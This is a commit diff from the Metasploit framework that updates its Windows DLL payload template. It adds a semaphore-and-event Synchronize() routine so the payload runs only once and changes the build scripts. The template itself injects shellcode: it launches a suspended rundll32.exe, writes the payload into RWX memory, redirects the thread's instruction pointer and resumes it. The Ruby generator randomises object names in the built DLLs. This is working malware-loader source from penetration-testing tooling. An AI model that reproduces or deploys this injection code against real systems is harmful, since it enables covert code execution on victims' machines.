Land #14410, Add synchronization to the DLL payload template

This commit is contained in:
Grant Willcox
2020-12-04 16:08:18 -06:00
10 changed files with 119 additions and 91 deletions
+14
View File
@@ -0,0 +1,14 @@
@echo off
if "%~1"=="" GOTO NO_ARGUMENTS
echo Compiling for: %1
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
cl /LD /GS- /DBUILDMODE=2 template.c /Fe:template_%1_windows.dll /link kernel32.lib /entry:DllMain /subsystem:WINDOWS
exit /B
:NO_ARGUMENTS
%COMSPEC% /c "%0" x86
%COMSPEC% /c "%0" x64
del *.obj
move *.dll ..\..\..
-24
View File
@@ -1,24 +0,0 @@
#
# XXX: NOTE: this will only compile the x86 version.
#
# To compile the x64 version, use:
# C:\> call "c:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\vcvarsall.bat" amd64
# C:\> cl.exe -LD /Zl /GS- /DBUILDMODE=2 /link /entry:DllMain kernel32.lib
#
if [ -z "$PREFIX" ]; then
PREFIX=i586-mingw32msvc
fi
rm -f *.o *.dll
$PREFIX-gcc -c template.c
$PREFIX-windres -o rc.o template.rc
$PREFIX-gcc -mdll -o junk.tmp -Wl,--base-file,base.tmp template.o rc.o
rm -f junk.tmp
$PREFIX-dlltool --dllname template_x86_windows.dll --base-file base.tmp --output-exp temp.exp --def template.def
rm -f base.tmp
$PREFIX-gcc -mdll -o template_x86_windows.dll template.o rc.o -Wl,temp.exp
rm -f temp.exp
$PREFIX-strip template_x86_windows.dll
rm -f *.o
+97 -61
View File
@@ -5,11 +5,10 @@
/* hand-rolled bzero allows us to avoid including ms vc runtime */
void inline_bzero(void *p, size_t l)
{
BYTE *q = (BYTE *)p;
size_t x = 0;
for (x = 0; x < l; x++)
*(q++) = 0x00;
BYTE *q = (BYTE *)p;
size_t x = 0;
for (x = 0; x < l; x++)
*(q++) = 0x00;
}
#endif
@@ -20,82 +19,119 @@ void ExecutePayload(void);
BOOL WINAPI
DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
{
switch (dwReason)
{
case DLL_PROCESS_ATTACH:
switch (dwReason)
{
case DLL_PROCESS_ATTACH:
ExecutePayload();
break;
break;
case DLL_PROCESS_DETACH:
// Code to run when the DLL is freed
break;
case DLL_PROCESS_DETACH:
// Code to run when the DLL is freed
break;
case DLL_THREAD_ATTACH:
// Code to run when a thread is created during the DLL's lifetime
break;
case DLL_THREAD_ATTACH:
// Code to run when a thread is created during the DLL's lifetime
break;
case DLL_THREAD_DETACH:
// Code to run when a thread ends normally.
break;
}
return TRUE;
case DLL_THREAD_DETACH:
// Code to run when a thread ends normally.
break;
}
return TRUE;
}
// Use a combination semaphore / event to check if the payload is already running and when it is, don't start a new
// instance. This is to fix situations where the DLL is loaded multiple times into a host process and prevents the
// payload from being executed multiple times. An event object is used to determine if the payload is currently running
// in a child process. The event handle is created by this process (the parent) and configured to be inherited by the
// child. While the child process is running, the event handle can be successfully opened. When the child process exits,
// the event handle that was inherited from the parent will be automatically closed and subsequent calls to open it will
// fail. This indicates that the payload is no longer running and a new instance can be created.
BOOL Synchronize(void) {
BOOL bResult = TRUE;
BOOL bRelease = FALSE;
HANDLE hSemaphore = NULL;
HANDLE hEvent = NULL;
SECURITY_ATTRIBUTES SecurityAttributes;
// step 1: define security attributes that permit handle inheritance
SecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);
SecurityAttributes.lpSecurityDescriptor = NULL;
SecurityAttributes.bInheritHandle = TRUE;
do {
// step 2: create a semaphore to synchronize this routine
if ((hSemaphore = CreateSemaphoreA(&SecurityAttributes, 1, 1, szSyncNameS)) == NULL) {
// if the semaphore creation fails, break out using the default TRUE result, this shouldn't happen
break;
}
bResult = FALSE;
// step 3: acquire the semaphore, if the operation timesout another instance is already running so exit
if (WaitForSingleObject(hSemaphore, 0) == WAIT_TIMEOUT) {
break;
}
bRelease = TRUE;
// step 4: check if the event already exists
if (hEvent = OpenEventA(READ_CONTROL | SYNCHRONIZE, TRUE, szSyncNameE)) {
// if the event already exists, do not continue
CloseHandle(hEvent);
break;
}
// step 5: if the event does not already exist, create a new one that will be inherited by the child process
if (hEvent = CreateEventA(&SecurityAttributes, TRUE, TRUE, szSyncNameE)) {
bResult = TRUE;
}
} while (FALSE);
// step 6: release and close the semaphore as necessary
if (hSemaphore) {
if (bRelease) {
ReleaseSemaphore(hSemaphore, 1, NULL);
}
CloseHandle(hSemaphore);
}
// *do not* close the event handle (hEvent), it needs to be inherited by the child process
return bResult;
}
void ExecutePayload(void) {
int error;
int error;
PROCESS_INFORMATION pi;
STARTUPINFO si;
CONTEXT ctx;
DWORD prot;
LPVOID ep;
LPVOID ep;
// Start up the payload in a new process
inline_bzero( &si, sizeof( si ));
si.cb = sizeof(si);
// Create a suspended process, write shellcode into stack, make stack RWX, resume it
if(CreateProcess( 0, "rundll32.exe", 0, 0, 0, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, 0, 0, &si, &pi)) {
ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;
GetThreadContext(pi.hThread, &ctx);
if (Synchronize()) {
// Create a suspended process, write shellcode into stack, make stack RWX, resume it
if (CreateProcess(NULL, "rundll32.exe", NULL, NULL, TRUE, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, NULL, NULL, &si, &pi)) {
ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;
GetThreadContext(pi.hThread, &ctx);
ep = (LPVOID) VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
ep = (LPVOID) VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0);
WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0);
#ifdef _WIN64
ctx.Rip = (DWORD64)ep;
#else
ctx.Eip = (DWORD)ep;
#endif
#ifdef _WIN64
ctx.Rip = (DWORD64)ep;
#else
ctx.Eip = (DWORD)ep;
#endif
SetThreadContext(pi.hThread,&ctx);
SetThreadContext(pi.hThread,&ctx);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
}
// ExitProcess(0);
ExitThread(0);
ExitThread(0);
}
/*
typedef VOID
(NTAPI *PIMAGE_TLS_CALLBACK) (
PVOID DllHandle,
ULONG Reason,
PVOID Reserved
);
VOID NTAPI TlsCallback(
IN PVOID DllHandle,
IN ULONG Reason,
IN PVOID Reserved)
{
__asm ( "int3" );
}
ULONG _tls_index;
PIMAGE_TLS_CALLBACK _tls_cb[] = { TlsCallback, NULL };
IMAGE_TLS_DIRECTORY _tls_used = { 0, 0, (ULONG)&_tls_index, (ULONG)_tls_cb, 1000, 0 };
*/
-3
View File
@@ -1,3 +0,0 @@
EXPORTS
DllMain@12
+3 -2
View File
@@ -1,4 +1,5 @@
#define SCSIZE 2048
#define SCSIZE 4096
unsigned char code[SCSIZE] = "PAYLOAD:";
char szSyncNameS[MAX_PATH] = "Local\\Semaphore:Default\0";
char szSyncNameE[MAX_PATH] = "Local\\Event:Default\0";
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+5 -1
View File
@@ -545,7 +545,7 @@ require 'msf/core/exe/segment_appender'
end
pe[136, 4] = [rand(0x100000000)].pack('V') unless opts[:sub_method]
when :dll
max_length = 2048
max_length = 4096
when :exe_sub
max_length = 4096
end
@@ -562,6 +562,10 @@ require 'msf/core/exe/segment_appender'
if opts[:exe_type] == :dll
mt = pe.index('MUTEX!!!')
pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
%w{ Local\Semaphore:Default Local\Event:Default }.each do |name|
offset = pe.index(name)
pe[offset,26] = "Local\\#{Rex::Text.rand_text_alphanumeric(20)}" if offset
end
if opts[:dll_exitprocess]
exit_thread = "\x45\x78\x69\x74\x54\x68\x72\x65\x61\x64\x00"